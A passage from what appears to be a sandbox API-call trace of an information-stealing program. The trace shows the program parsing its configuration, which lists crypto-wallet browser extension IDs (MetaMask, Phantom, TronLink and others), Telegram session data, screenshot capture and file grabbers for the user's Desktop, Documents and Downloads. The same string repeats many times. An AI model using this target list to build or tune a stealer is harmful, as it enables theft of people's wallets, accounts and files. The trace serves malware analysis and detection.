Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1572 [0260.604] LocalAlloc (uFlags=0x40, uBytes=0xc48) returned 0x6ba370 [0260.604] lstrlenW (lpString="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1572 [0260.604] LocalAlloc (uFlags=0x40, uBytes=0xc48) returned 0x6bafc0 [0260.604] StrStrW (lpFirst="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.604] lstrlenW (lpString="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1572 [0260.604] LocalAlloc (uFlags=0x40, uBytes=0xcc8) returned 0x6bbc10 [0260.604] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.604] LocalFree (hMem=0x6bbc10) returned 0x0 [0260.605] StrStrW (lpFirst="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.605] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.605] LocalFree (hMem=0x6b9720) returned 0x0 [0260.605] LocalFree (hMem=0x6ba370) returned 0x0 [0260.606] LocalFree (hMem=0x6bafc0) returned 0x0 [0260.606] StrStrW (lpFirst="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.606] lstrlenW (lpString="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1494 [0260.606] lstrlenW (lpString="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1494 [0260.606] LocalAlloc (uFlags=0x40, uBytes=0xbac) returned 0x6b9720 [0260.606] lstrlenW (lpString="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1494 [0260.606] LocalAlloc (uFlags=0x40, uBytes=0xbac) returned 0x6ba2d8 [0260.606] lstrlenW (lpString="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1494 [0260.606] LocalAlloc (uFlags=0x40, uBytes=0xbac) returned 0x6bae90 [0260.606] StrStrW (lpFirst="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 